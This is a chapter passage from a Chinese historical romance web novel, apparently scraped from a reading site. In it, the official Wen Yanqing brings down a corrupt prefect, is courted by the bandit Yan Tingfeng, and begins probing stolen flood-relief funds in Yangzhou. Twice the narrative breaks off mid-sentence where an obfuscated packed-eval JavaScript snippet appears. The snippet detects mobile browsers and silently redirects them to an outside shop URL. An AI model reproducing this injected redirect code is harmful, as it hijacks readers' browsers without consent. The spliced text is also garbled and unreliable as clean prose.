温砚清翻看着青州官员名册,晏亭风站在他身旁开口,“温大人打算从哪开始?” 他将名册合上,一字一顿,“青州府通判,林正。” 夜色深浓,街上时不时传来打更人的声音,一处府邸前朱红的院门打开一个缝,一个男人鬼祟的探出脑袋,确认外头一个人都没有后,才放心的出来。 身后跟着十几个小厮,将数十个大箱子搬到马车上,“动作都麻利点,不许发出一丁点声响!” “老爷,东西都装好了,现在就可以出发。” 管家拖着瘸腿向身后的人汇报,“只是……我们这样会不会太小题大做?” 陆元承沉着一张脸,眼底的担忧一闪而过,“那温砚清心思缜密,先后在林正和曲申家中搜出东西来。” “先做好一手准备,等到他温砚清来的时候,还怕他查出什么来吗?” “夜深人静,陆大人这是打算去哪?” 听见声响陆元承僵着身子挪动,只见温砚清不知何时出现在眼前,身后还跟着些许官兵。 他紧张的走下台阶,还不忘回过头朝管家使眼色,“夜深天凉,温大人应当早些回去休息,以免劳累身体。” 温砚清看上去心情还不错,他露出一个笑容开口,“陆大人不用紧张,我只是带人经过此处。” 他的视线落在马车上数十车的箱子,“陆大人这是……” 陆元承神色慌张朝管家使眼色,“这些……是专门为丈人准备的贺礼。” 说罢,他大声训斥,“还不快点出发!若是误了吉时,本官定要你们好看!” “等等!” 温砚清朝南瓜使了个眼色,“既然是贺礼那么让本官看看,应该并无大碍吧?” “温大人,这就是一些普通的贺礼,没什么好看的,还是快些回去休息,以免伤身。” 陆元承走上前想阻拦却还是晚了一步,南瓜让人将箱子搬了下来,打开之际明晃晃的一片。 他冒着冷汗不敢睁眼,温砚清冷笑一声开口,“陆大人这贺礼还真是与众不同啊。” 南瓜让人将其余的箱子打开,整整十八箱整齐的摆放着金条。 “温大人,这是怎么回事?我送给丈人的贺礼,怎么会……怎么会变成这样!” 陆元承一脸愠怒,指着管家质问,“到底怎么回事!” 他沉着一张脸摇头,“温大人,你要为下官做主啊,定是有人想要害我,所以将这滔天的罪行强加在我的身上!” “求温大人找出真凶,还下官一个清白!” 作者有话说 显示所有文的作话 第4章 夫夫一体 第5章 负心汉 “冤枉?” 温砚清面上的笑容逐渐收敛,清冷的嗓音中夹杂着怒意,“陆大人倒是好好说说,谁有这个本事来污蔑你这个青州知府?” “来人,把陆元承这个通敌卖国的叛徒带走!” 两个衙役走上前扣住陆元承,后者哭着喊着冤枉,“温大人冤枉啊!我兢兢业业为青州辛苦了半辈子,却要被人这样冤枉!” 听见这几句,温砚清停下了脚步,他转身目光冷冽盯着陆元承,“倒卖数万顷是冤枉?私自增加各种苛捐杂税,也是冤枉?” “陆元承你真当我一点证据都没有?” 原本挣扎的人突然放弃了挣扎,他接连冷笑了两声,“都说温大人为官正直,今日一看也不过如此,贪污我认,可通敌卖国倒卖粮库我不认!” “是么?林正早已全盘托出,陆元承值得吗?” “哈哈哈!”陆元承突然挣脱开身旁两名衙役,“景国早已不是当初的景国,国破家亡是迟早的事情!” “我兢兢业业为青州辛苦数十载,可我递上去的折子从未得到回应!” “我为国为民都抵不过往上递银子,温大人位高权重,有个母仪天下的姐姐,父亲是三朝元老,怎么会懂得我在青州的苦!” 温砚清皱着眉头开口,“这不是你勾结外敌压榨私自收取苛捐杂税的理由!” “你明明有很多种办法,却偏偏选择走了这么一条路!” 一阵寒风顺着袖口吹进去,陆元承挺直背脊拂袖不让衙役靠近,“我自己能走!” 他走在前头突然停下脚步转身看向温砚清,“终有一天,温大人也会像我一样,彻头彻尾的失望!” 肩头一重,温砚清回过神来注意到身上的大氅,他沉默许久,随后踩着霜露往前走。 “你觉得我会像他说的那样吗?”他突然停下脚步,偏头看向晏亭风。 晏亭风没有犹豫,说出自己的答案,“你不会,你不会变成他那样。” 温砚清盯着他那张脸许久,像是闲聊,“倒是从未听你提起过从前。” 这一次晏亭风犹豫了,没有直接回答,他低声浅笑自嘲似的开口,“过去的事情已经过去了,我不想脏了温大人的耳。” 知道他这是不想说,温砚清便不再往下问。 陆元承以及查出的大大小小官员整整二十八名,温砚清盯着这份名单许久。 直到现在陆元承依旧保持着最开始的态度,恐怕这件事不单单是青州,甚至可能还牵涉着其他地方。 屋外传来声响,温砚清走上前打开屋门,只见晏亭风抱着软枕愁眉,“温大人,今夜可能还要麻烦你了。” “我的床褥湿了一大片,已经没法睡了,就将就一晚。” 温砚清盯着他看了许久,明知对方可能是在扯谎,却还是让出了半个身位。 今夜静得蹊跷,换做平日晏亭风总是要说上半天,今夜却像是吃了哑药。 “你可想过换条路走,就这么当土匪不是长远的打算。” 没得到回应温砚清便没继续往下说,他翻了个身合上了眼。 鸡鸣声接连响起,院中小厮提着花浇打理着花,温砚清下意识多看了两眼。 冬瓜主动解释,“温大人是在找晏公子吗?今早天还未亮他便离开了。” 也是,他迟早要走的。 温砚清点头却没太意外,他转身看向冬瓜南瓜,“你二人可愿意随我回京?” “大人尽管吩咐就是。” 青州粮库盗窃案有了个了结,温砚清亲自坐镇指挥,废除各种苛捐杂税,看着犯事官员人头落地,青州府内部大换血。 “大人该走了。”南瓜走到温砚清身旁提醒。 “该走了。” 温砚清转身回到马车上,他怀疑自己是不是发病了,否则怎么会想着晏亭风会不会出现? 颠簸了一路,遇上了大雪封路耽搁了几天,马车缓缓停下,“大人到了。” “砚清你终于回来了,你都不知道我多担心你!” 姜夫人捏着帕子守在门口,看见温砚清时接连哎哟了好几声,“我的儿啊,这前后不多几日,怎么瘦成这样了?” “你这个小没良心的,也不懂得给我写几封信报平安!” 温砚清再三说自己没事,奈何姜夫人思子心切,抓着他不放围着转了好几圈,确认他身上没受什么伤才肯罢休。 “既然回来了,那我明日便将唐家小姐请上门来,明日你可一定要好好待着!” 温砚清头疼得摆了摆手,“母亲,你喊人上门叙旧与我有什么关系?” “怎么没关系!你老大不小了,正是成婚的好年纪,那唐小姐落落大方,和你站在一块简直郎才女貌!” 姜夫人抓着他的手不放,“你若是不答应我便进京请旨!” 无奈之下,温砚清只能随口应付两句,他松了一口气换上官服。 一个小太监快步走了出来,“温大人,皇上在里头等着您呢。” 殿内点着龙涎香,温砚清行了个礼保持着同一个姿势跪着,没有得到任何回应不敢动弹。 双膝跪得发软,最后一颗棋子落下,靠在桌案前的男人才抬起头来。 “瞧我,自顾自下棋入了谜,竟然忘了你,砚清过来,陪朕下会棋,顺便说说盗窃案。” 温砚清这才站起身拍了拍灰尘,他接过白棋顺着原本的棋局往下。 “盗窃案一事,陆元承等人盗卖粮食通敌卖国,私自收取苛捐杂税。” 司烨得意的露出一个笑来,将手中的黑子落下,“几日不见,你这棋艺怎么还倒退?” “青州这件事你做的漂亮,说吧,想要我奖你什么,美人还是钱财?” “你也老大不小了,我常听你姐姐念叨,希望你能早点成家绵延子嗣。” 司烨拍了拍他的肩膀,“想要什么尽管提,只要朕能办到就一定满足你!” “臣什么都不需要,能为陛下分忧是臣的本份。” 见一旁的小太监急匆匆进来,温砚清找了个借口离开。 冬瓜南瓜在宫门口等着,见温砚清出来便将大氅拿出替他盖上。 刚下了马车府中的小厮快步走上前,“大人,方才有个小孩送来的,说一定要亲自交到您的手上。” 温砚清接过那封信,信笺上空空的什么都没写,似乎是想到了什么,他捏着这封信走进书房。 坐在桌案前许久,双手搭在双膝上,似乎是在纠结什么,最后还是轻啧一声,烦躁地拆开那封信。 短短两行字却让他羞红了脸,将信纸重新折叠放了回去。 【夫君走之后,徒留我茶饭不思,即便我们夫夫分隔两地,夫君也不准学负心汉抛夫!】 温砚清将信纸重新摊开,他伸出手捏着耳根子降温,在心里暗骂晏亭风又将他说的话忘了! 他将信纸塞了回去,拉开桌案前的暗格放了进去,里头还放着另一张。 心口跳得他莫名慌张,他从架子上取下一本书开始翻看,约莫过了会败下阵来,他合上书站起身打开紧闭的窗子。 窗外时不时传来微弱的动静,他抬眼却没看见自己想看的,只见一只野猫从窗前跳了下去。 温砚清低声苦笑,他这是怎么了,从青州回来后,心里头就像少了点什么似的,空落落的。 他站在窗子前最后还是重新关上。 翌日,姜夫人守在门前生怕温砚清跑了,“你可答应我了,可不能半途中就跑了。” “唐小姐貌美如花,京中不知多少人惦记着,为娘的这辈子就想看你娶妻生子!” 温砚清无奈扶额,“母亲你就把心放在肚子里,我不走。” 姜夫人紧跟在他身后絮絮叨叨,“你是不知道,京中那群碎嘴子怎么说的,她们说你怕不是不举!” “夫人,唐夫人和唐小姐来了。” 姜夫人惊呼一声拉着温砚清便往前厅走,一看见唐小姐便将温砚清往前推,“几日不见书绾更漂亮了,还是女儿家好啊,不像我这个不成器的儿子!” 唐书绾红了脸悄悄看向温砚清,后者倒是淡然,看上去还有些心不在焉。 小厮急匆匆闯进来,指着门口半天说不出一句话来。 姜夫人皱起眉头训斥,“什么事情毛毛躁躁的!” “外头有人送来几大箱聘礼……说是……说是给温大人的。” 听见这话姜夫人安抚着唐夫人坐着,随后跟在温砚清身后出去查看。 整整八箱聘礼整齐摆放在门前,温砚清心里一个咯噔,“这都是谁送来的?” 南瓜支支吾吾半天,在姜夫人的催促下开口,“说是姓晏,从青州送来的,还说……” “还说他除了温大人此生不嫁。” 姓晏……青州来的…… “夫君也不准学负心汉抛夫!” 温砚清想到信中的内容不自觉红了脸,姜夫人紧抓着他的衣领不放,“砚清你和为娘的说清楚,这位晏姑娘是怎么回事,还有这些聘礼怎么回事?” “若是你有喜欢的人了,为娘的便将唐小姐和唐夫人送回去,可不能学那负心汉!” 一时之间温砚清竟不知如何解释,到最后他索性破罐子破摔,顺着往下说,“是,我们在青州成婚了。” 6. 晏姑娘 “成婚?” 姜夫人不动声色的整理好裙摆,转身走进正厅,“把这些收起来,一会让客人看见了不好。” 温砚清盯着几大箱的聘礼看了许久,最后让人将这些搬到库房去,他喊来南瓜问话,”这些谁送来的?” “那几个壮汉,说是有人花了钱让他们从青州送来的。” “有没有留下什么话?”温砚清犹豫了会开口,却得到了否定,心口有些空落落的。 他指挥着让人摆好,回到正厅的时候,姜夫人已经把唐夫人送走了,她靠在太师椅上品着茶,朝温砚清使了个眼色让他坐下。 “你倒是藏得深,我在京中为你茶饭不思,成婚这么大的事情都不肯告诉我!” “说吧,是哪家姑娘?” 画风突变,姜夫人再也遮掩不住面上的笑容,“这姑娘姓甚名谁,长得好不好看?家境如何?” “家境差也无碍,我们可以帮衬,你倒是快点说,急死我了。” 温砚清有些心虚的别过脑袋去,“青州的姑娘,长得好看,家境一般。” “姓晏……” “你总不能骗我吧?”姜夫人站起身围着他转,试图看出点破绽。 “怎么会骗你呢?”温砚清面上的笑容都快僵了。 某种程度上,他确实是和晏亭风成婚了,只是…… 姜夫人脱下手上的玉镯子,郑重其事的放在他的手上交代,“这是世世代代传下来的,你千万记得送到晏姑娘的手上。” “还有,既然娶了人家,你就应该把人带回来,大大方方的,让大家都知道她是你夫人。” “该有的礼数不能少,不能让人委屈了,接下来你必须把人给我带回来!” 见温砚清没回应,姜夫人伸出手在他的手臂上轻轻一拧,“听见没,把人带回来,别委屈了人家!” “等我有时间了,一定带回来。” 温砚清盯着手上的玉镯子不该如何是好,他上哪去带一个晏姑娘回来? 姜夫人心情大好,哼着小曲让人备车,“今日谢夫人让人递来请柬,往日我不愿听她们编排。” “今时不同往日,我看谁还敢说我儿不举!” 温砚清张了张嘴想着解释,可看着姜夫人那张欢喜的脸怎么也说不出口。 总不能和母亲说,晏姑娘不是姑娘,是男人吧? 温砚清轻叹一口气将手中的玉琢收了起来,他向来循规蹈矩,不曾作出逾越的事。 竟也会在这件事上糊弄起来。 浅月悬挂在半空中,温砚清撑着身子,手里把玩着玉镯子,眼前竟不自觉浮现出晏亭风的身影。 他放下玉镯子揉了揉眉心,心想自己真是魔怔了。 “几日不见,温大人瘦了。” 温砚清停下手中的动作,僵硬的抬起头,不是他看错了。 本应该在青州的晏亭风竟然就站在他的窗前。 “你……” 温砚清盯着那张脸半天,竟说不出一句话来,只能干看着离自己越来越近,最后站在自己跟前。 “温大人这是高兴?”晏亭风半点没亏待自己,找了个位置坐下,顺势给自己倒了一杯热茶。 “擅自闯入他人宅子行窃可是死罪,晏亭风你好大的胆子。” 温砚清调整好自己的情绪,目光却不自觉地落在晏亭风身上,晒黑了。 “行窃这件事我不认,不过,如果非要说我有想偷的,我倒是想把你偷走,把你绑在清风寨一辈子都下不了山。” 晏亭风轻笑一声目光落在他面前的玉镯子,随后伸出手。 “做什么?打算行凶,刺杀朝廷命官?”温砚清垂着脑袋,有意无意地掩饰着泛红的耳朵。 “温大人面前的玉镯子不是打算送给我吗,那快点为我戴上。” “我何时说过是送给你的?”温砚清抿了口茶水,心里莫名有些慌张,莫不是晏亭风知道了自己今日扯的谎? 耳旁传来笑声,晏亭风将椅子挪了个位置和他紧挨着,“聘礼温大人也收下了,也承认了我们在青州早已成婚。” “这玉镯子难道不应该送给我吗?” 说着晏亭风将手继续伸到他面前,一本正经催促着他,“温大人快点为我戴上,还是说……” “温大人背着我在京城中有了其他人?” 他说得可怜,手上的动作却不消停,一只手搭在温砚清的脖子上。 后者面红耳赤站起身后退两步指着他,“你!” “简直不成体统!” 晏亭风面色委屈接连叹气,“我以为温大人在姜夫人面前说的都是真的。” “原来只不过是随口扯的谎话,就是不知道姜夫人知道后会不会难过?” 都是装的! “你若是敢说出去,让我母亲知道了,我饶不了你!” “手伸过来!” 嘴上这么说,温砚清手上的动作却轻着,他小心翼翼将玉镯子套了进去。 晏亭风的手生的好看,翠绿的玉镯子衬他。 “砚清,你在和谁说话?” 姜夫人的声音突然响起,温砚清下意识伸出手捂着晏亭风的嘴,眼神警告他不许发出动静。 “母亲听错了,大概是外头野猫发出的动静,夜深了快去歇息吧。” 手心沁着汗,柔软的触感贴了上来,温砚清咬着牙一只手搭在晏亭风身上,轻轻拧了一下警告他。 不许再有其他小动作! “真的没事?” “没事!”温砚亭及时吹灭了灯,拦住了姜夫人要进来的动作,“母亲早些歇息,我也要睡下了!” 姜夫人盯着屋门嘀咕,“奇怪,明明就是听见了屋中有人说话,难道真是我听错了?” 屋外的动静渐渐远去,温砚清抽回自己的手,目光凶狠的瞪着晏亭风。 他压着声,伸手指着窗子让晏亭风离开。 “温大人,你确定我现在出去不会被其他人看见,到时候可就真的什么都说不清了。” 晏亭风扯了扯他的衣摆,“温大人收留我一晚,天不亮我就走了。” 万一被母亲发现了,那可真是说不通了。 温砚清没说话算是默认,母亲已经怀疑了,若是这个时候被发现,那就是有十张嘴都说不清。 两人依旧像在青州时一样同榻而眠,晏亭风把玩着手上的玉镯子,忽然压着声开口,“温大人,我让人送来的聘礼里头有一个小箱子。” “里头有个宝贝,你记得收起来。” 温砚清翻了个身问出了心中的疑惑,“从青州到京城路途遥远,你是早有准备?” “温大人离开前我就让人将东西送来了。” 温砚清突然撑着身子坐了起来,他偏头看向晏亭风,不等开口,晏亭风率先解释。 “放心,我给你送来的聘礼干干净净,未曾沾染半点血,虽说我在青州当土匪,却从未做出伤天害理的事。” “辄靡山虽然地势复杂,可离梧州近。” 后半句晏亭风没说,但温砚清也猜个七七八八。 梧州素来盛产绸缎,看不出来晏亭风还是个做生意的料子。 只是,不知其中发生了什么,竟去做了土匪。 他躺了下来没在往下问,困意袭来没多久便睡了过去。 身旁的人轻声喊了两句,见没反应便伸出手搭在他身上。 这一夜睡得极安稳,温砚清起身时,身旁的人早已离开,他沐浴换了身朝服后,途径库房想起晏亭风说的话。 他一一打开,最后在角落的箱子里找到一个小盒子。 打开一看,里头放着一枚汉白玉佩,上头镌刻着砚清两个字,底下刻着平安顺遂。 他忍不住轻笑一声,再三思索下,将玉佩带在了身上。 就当做是回礼吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016816|194220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他重新锁上库房的门,南瓜冬瓜已经备好车在府外候着。 马车外突然传来惊吓声,南瓜呵斥着拔剑追赶,温砚清掀开帘子查看情况,“怎么回事?” 冬瓜将一封信以及一枚飞镖递了上来,“大人,不知是谁送来的,惊扰了马儿,南瓜已经追去了。” 话音刚落,南瓜轻喘着气回来,他面色难看摇着头,“此人武功高强,在我之上。” 温砚清接过那封信拆开,看了眼内容后沉下脸来,“快些出发。” 他摩挲着手上的飞镖,开始琢磨会是谁送来的,能够知道这封信上的内容…… 想到这里他掀开帘子催促,“再快一些。” 这封信上的内容不能耽搁。 马车停在宫门口,他将这封信藏在衣袖中。 殿堂上,一群人聚在一块哭穷。 司烨头疼地抚着额,年年递上来的折子,只顾着报喜无人报忧。 一到这个时候国库亏空,各个哭穷。 他摆了摆手,角落里的老太监心领神会,“有本启奏,无事退朝。” 温砚清举着衣袖中的信走了出来,“陛下,扬州城内发了水灾,可赈灾的银两却迟迟没有到。” “半月前,扬州知府顾荣上报此事,赈灾的银两按理来说应当已经到了。” 清冷的声线中带着一丝怒气,一字一顿的往下说,“只怕这其中有人浑水摸鱼,克扣赈灾银两!” 司烨面色凝重摆了摆手让人将信件呈了上来,看到最后他气得将信纸揉成一团。 “先是青州粮库被盗,陆元承勾结私通,现如今又是赈灾银两不知去向!”司烨咬着牙气的不轻。 “一个个平日和朕表忠心诉衷肠,背地里干着如此勾当!” 空气凝固,无一人敢开口说话,低着脑袋屏着呼吸,不敢发出一点动静。 为首的几个大臣面面相觑,抬起衣袖擦了擦额前的汗。 “陛下,微臣认为定是有人对赈灾银两下手!” “应当找出幕后黑手,治理扬州水灾,救助灾民啊!” 司烨冷哼一声目光最后落到温砚清身上,“此事便交到温爱卿身上,若是谁敢不配合,那便是忤逆朝廷!” 温砚清弓着身子回应,临走前司烨身旁的老太监陈宏追了上来,将一个香囊放在他的手心。 “温大人,这是陛下让老奴交给你的,若是紧要关头可以打开,温大人此去一帆风顺。” 温砚清笑着将香囊收了起来,随后取了两片金叶子熟练的递给陈宏,“一点小心意,陈公公收下吧。” 他捏着香囊想不出其中是什么,下了朝他就让南瓜回府收拾东西,顺便和姜夫人知会一声。 温砚清盯着衣摆上的汉白玉佩,也不知晏亭风知不知道他要去扬州了,他纠结着,打算到了扬州寄一封信回去。 吸取了上次的教训,此去扬州司烨特地让人一同前往,不让别有心之人靠近。 天色渐晚,南瓜指挥着人在河岸边过夜,温晏清靠在马车内看书,外头传来微弱的动静。 “大人,我来给你送些吃食。” “放下吧。” 温砚清总觉得熟悉,一时间却说不出哪里奇怪。 直到帘子掀起时,他放下手中的书瞥了一眼给自己送吃食的随从。 软甲下套着另一张熟悉的脸,“温大人,好、巧、啊!” 世上哪有如此巧合? 不知是不是欢喜过头了,他的目光直勾勾地盯着晏亭风。 “莫不是我脸上有什么东西,能够让温大人这么看?” 见他这幅轻浮的模样,温晏清收回视线。 要去扬州这件事他未曾告诉过晏亭风,此人不仅知道了,还轻而易举混进了随从。 他瞥了眼献殷勤的晏亭风,阴阳怪气,“你倒是消息灵通,我还未离开京城,你便知道我此行要去哪。” 7. 情投意合 “我与温大人情投意合心连心,你去哪里我当然都知道。”晏亭风故意露出手腕上那抹显眼的绿。 “夫夫之间的事情,怎么样都是合……” 话还没说完,他便结结实实的挨了一脚,温砚清收回脚咬着牙警告,“你若是再敢说一句,我马上让人把你抓起来。” 晏亭风看着他泛红的脖颈眼底含着笑,安安分分的坐在他身旁,时不时喂几口点心。 “你会不会武功?” 温砚清嘴里咬着绿豆糕,突然想起早上南瓜说的话,若是那封信是晏亭风送来的…… “一点点吧,怪我学艺不精,只学到了些许皮毛,勉强自保吧。”晏亭风接连叹了几口气。 温砚清半信半疑,没在回应而是琢磨这句话的可信度。 上回他被黑衣人追杀,是晏亭风将自己带回清风寨,包括在王二家那次,也是晏亭风救了他。 虽说没有亲眼瞧见。 更何况,此人满嘴浑话,凑不出一句真的。 思忖片刻,他正准备开口试探,马车外传来刀剑碰撞的声音,不知谁大喊了声,“有刺客!保护温大人!” 长剑挑开帘子直挺挺刺进来,刀尖离温砚清的心口只剩下一寸。 晏亭风出腿踢飞了刺客手中的剑,一只手揽着温砚清的肩膀,将他往怀里带。 两名黑衣刺客对视一眼,同时出剑,晏亭风瞥了眼一旁刚解决完刺客的南瓜,将温砚清推了出去,“看好他!” 南瓜看清晏亭风那张脸后微微惊讶,随后反应迅速将温砚清护在身后。 他只是个随从,虽说温砚清未曾解释过此人的身份,他却也猜了个七七八八。 刀光剑影,三两下剩余的刺客被解决干净。 温砚清压着声用两个人能听到的声音询问南瓜,“先前你接触的黑衣人,你觉得和他有几分相似?” 南瓜张了张嘴,目光落在晏亭风身上,“出剑利索,足以看出此人武功高强,但……不是……” 他忍不住开口问出了心中的疑虑,“大人,此人莫不是……清风寨土匪头子,晏亭风?” 温砚清并未开口承认,给了个眼神后,走到倒地的刺客身旁,他扯开刺客衣领,目光落在胸口上的刺青。 一只老虎。 他的目光暗了暗,接连几个刺客身上同样的图案。 这是…… 飞虎营…… 温砚清垂着眸思索,飞虎营只听从皇帝的调遣,可司烨没有杀他的理由。 还是说,飞虎营内部,也出现了叛徒? “飞虎营?” 晏亭风盯着刺客胸口的图案冷不防开口,“温大人,你这是得罪了哪位大人物?” 温砚清面无表情的站起身,让冬瓜调整队伍重新出发,面对晏亭风的问题,他一个字都不回答。 是司烨想对他动手,还是…… 这个问题伴随了一路,他的视线落在了晏亭风的手背上,一条细长的伤口往外渗着血。 不知是不是有意的,晏亭风似乎没发觉自己受伤了,撑着脑袋肆无忌惮盯着温砚清看。 想来对方也是为了救自己才受伤,于心不忍,温砚清放下手中的书,取来干净的药罐子和帕子,“手伸来。” 晏亭风自觉地伸出手,“一点小伤罢了,有温大人关心一点都不疼。” 话刚落手背上隐隐作痛,温砚清小心翼翼地撒上药粉,听他开始不正经手上的动作加重了几分。 他在手帕上打了一个自认为满意的结,随后继续做自己的事。 手绑着什么也做不了,晏亭风也不是个老实的,安分了没多久开始往温砚清身旁凑,“温大人,要是困了靠我这。” “温大人,这书有什么好看的,还不如看我。” “温大人,你……” “闭嘴,再多说一句你就下去。”温砚清被他吵得一个字都看不下去,索性将手中的书放下。 一天一夜的路途,队伍踏入扬州地界,率先到此次灾害最严重的地方,柳河县。 昔日繁荣热闹的街市此刻却疮痍满目,道路两旁挤满了灾民,带着为数不多的家当蜷缩在角落。 温砚清皱着眉头交代南瓜和冬瓜两人,将带来的干粮一一分下去。 一直到县衙,两旁的灾民不减反增,温砚清偏头看向晏亭风,“你觉得,赈灾银两和粮食是被人克扣还是……” “我就是山匪,怎么会知道其中的内幕呢?不过我猜测事情或许没有这么简单。”晏亭风认真的回答,从他的眼神里看不出一丁点谎话。 “是么?我以为你神通广大,什么都知道呢。” 晏亭风伸出三根手指,“温大人,我对天发誓,我真的什么都不知道,何必这么试探我呢?” 那就奇怪了…… 温砚清在脑子里列出一个个名字,逐一筛选,不一会两人走到了县衙门口。 奇怪的是县衙前竟无一人值守,大门敞开着任人进出,两人对视一眼走了进去,只见里头躺着受伤的老弱。 再往里头走,只见几名衙役灰头土脸的搅动着锅里的粥,说是粥倒不如说是米汤,偶尔看见零星几颗大米。 温砚清拦下其中一名衙役,“外头灾民吃的就是这个?” “不吃这个还能吃什么?上头不管我们的死活,除了吃这个还能吃什么?” “就这些米还是张大人缩衣节食省下来的,否则我们都要啃树皮了。” 温砚清皱起眉头继续往里头走,水灾后第一时间,户部便往下拨银子,可现在不仅看不见银两更看不见粮食。 县衙后方随处可见的老弱妇孺,看见来人穿着华贵,原本死气沉沉的目光瞬间亮起一丝光。 朝廷没有抛弃他们,朝廷的人来救他们了。 角落里一个女娃饿得直哭,米汤再怎么喝也是不管饱,晏亭风取了几块饼分给几个小孩。 他伸出手擦了擦小姑娘脸上的泪水,“不哭,哭了就不好看了。” 温砚清对他的举动有些意外,平时没个正形的人,此刻却耐着性子哄小孩。 他忍不住露出一个笑来,虽说晏亭风不着调,却……是个好人。 回过神来时晏亭风已经站在他身旁,指着脸问他,“温大人这是被我这张脸迷住了?” 兴许是因为做了一件好事入了温砚清的眼,他认真的打量着晏亭风那张脸,镇重其事地点了点头。 太阳打西边出来了。 晏亭风嘴角上扬快咧到耳后了,像只乖巧的小狗紧跟在温砚清身旁。 “张大人来了!” 不远处传来声响,听见几个熟悉的字眼,温砚清挪动身子看去,只见一个穿着朴素的中年男人端着一碗碗米汤亲自送到灾民手中。 “张大人。” 听见有人喊,张佑民直起身子,瞧见来人他惊讶地放下手中的碗快步走开,“温大人到此地怎么没说一声,下官有失远迎。” “还望温大人莫要怪罪,柳河县如今凑不出一桌吃食,只能委屈温大人了……” 扬州发大水,柳河县损失惨重,一夜之间张佑民白了头,苍老了许多,眼神中带着些许无奈。 知道温砚清此行来是为了调查赈灾银两,他轻叹一口气,“发大水至今,别说赈灾银两了,就是连一粒米未曾见过。” “只是不知道,还能撑多久……” 他看着因为挨饿哀号的百姓心里不是滋味,只能将希望寄托在这位京城来的温大人。 “下官代表柳河县谢过温大人,也求大人,救救柳河县……” 温砚清心里不是滋味,他扶起张佑民再三保证,“此事我一定会调查清楚,给扬州的百姓,给柳河县的百姓一个交代。” 半个月前,户部便已拨款,应当是到了才是。 莫不是,这扬州如同青州一般,也有像陆元承这般的土皇帝? 想到这里他眼中闪过一丝寒光,“张大人此前可向上递过折子?” 说起这个,张佑民扯了扯嘴角,苦笑,“递了,递了不止一次,可永远没有回应。” “近日扬州城内传得沸沸扬扬,他们说扬州就像一颗没了用处的棋子,迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016817|194220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早要被丢弃。” “温大人,下官只求一个准信……” 他话还未说尽便被打断,温砚清宽慰地拍了拍他的肩膀,“张大人放心,扬州隶属于景国的地界,怎么会丢弃?” 问了三两句话后,温砚清便带着晏亭风离开,柳河县这般样子,身为扬州知府却见不到一个影。 “温大人,传闻中扬州知府谢平铮可是出了名的正直。” “那传闻中还说你晏亭风是个悍匪,杀人如麻,清风寨上上下下吃人肉喝人血。” 温砚清笑着摇头,“传闻不可信,若非亲眼瞧见,你就是个杀人不眨眼的大魔头。” 晏亭风张了张嘴,似乎想说点什么,最后还是闭上了嘴,传闻的确不可信。 扬州城内的情况并没有比柳河县好到哪里去,房屋泡了水坍塌,没个遮风挡雨的地方,又恰逢天寒地冻,一夜之间冻死了好多人。 活人堆里躺着死人,谁也不知道身旁的人何时没了呼吸。 温砚清皱起眉头加快脚步,知府门前支着草棚架着大锅,排着好几队的灾民。 相比于柳河县,此处还能瞧见些许菜叶子。 转了一圈没看见谢平铮,晏亭风随手拦住一名官差询问,他重新走到温砚清的身旁,“说是城内的粮食不够,带人上山挖野菜。” 不知是谁上山去报信,谢平铮灰头土脸的带着一篮子野菜回来,来不及收拾他弓着身子作辑。 “温大人有失远迎,莫要怪罪。”他捏着衣袖擦了擦额前的汗水,衣摆处因为挖野菜被碎石划破。 看上去倒是不像扬州土皇帝,温砚清开门见山表明来意。 提起赈灾银两谢平铮面上毫无波澜,看不出慌张更看不出一丁点的希望。 “下官会让人配合温大人调查,找出赈灾银两的去处。”他说的坦坦荡荡,这反而让温砚清先前的猜测推翻。 温砚清上下打量着谢平铮,这位扬州知府看上去倒是和传闻中说的一样,只怕善于伪装,表面一套背后一套。 一名衙役端来几碗野菜汤,谢平铮下意识端到温砚清手上,“温大人若是不嫌弃……” 他反应迅速收了回来,“瞧我这脑子,这野菜汤寡淡无味,温大人怕是吃不惯。” 出乎意料的,温砚清没有拒绝,反而多要了一碗递到晏亭风的手上。 野菜汤虽然寡淡无味,却也能顶替一阵子,喝到最后剩下几片菜叶子,谢平铮伸出手捏起放进嘴里。 他专门又去端了一碗来,只是这次不是自己吃,而是走到角落蹲下。 “娘,今天喝野菜汤,现在正好不烫了。” 谢平铮口中所喊的老妇人,瞎着眼摸索着,颤颤巍巍端过那碗野菜汤。 温砚清喝完最后一口,放下手中缺了一个角的瓷碗开口,“你觉得会是他吗?” “不见得是,他的老母亲尚且瞎着眼,跟着一块喝野菜汤,除非谢平铮做戏给我们看。” 倒也不是温砚清怀疑,而是此前他让冬瓜去打听,户部拨款后没多久,便将这批赈灾银两亲自送到谢平铮的手上。 可扬州城内上上下下却无一人见过赈灾银,要么是谢平铮善于做字,要么问题出现在送赈灾银两的人身上。 “谢大人……粮食已经见底了,山上的野菜也被我们挖得差不多了,恐怕……撑不了多久了。” 扬州通判轻叹一口气,语气中满是无奈。 谢平铮站起身从怀中取出几样首饰,“这是你嫂子嫁我时带过来的嫁妆,也卖得差不多了……” 他犹豫了会最终还是全部放在通判手上,“再去买点粮食回来吧,能撑一会是一会,我会尽快想办法。” 温砚清垂眸下意识开口,“为何他宁愿变卖妻子的嫁妆,也不愿意向上开口?” “温大人,人到失望透顶的时候,只会相信自己,谢平铮怎么会不愿意向上开口,而是这个口开多了,没有得到任何回应后的失望罢了。” 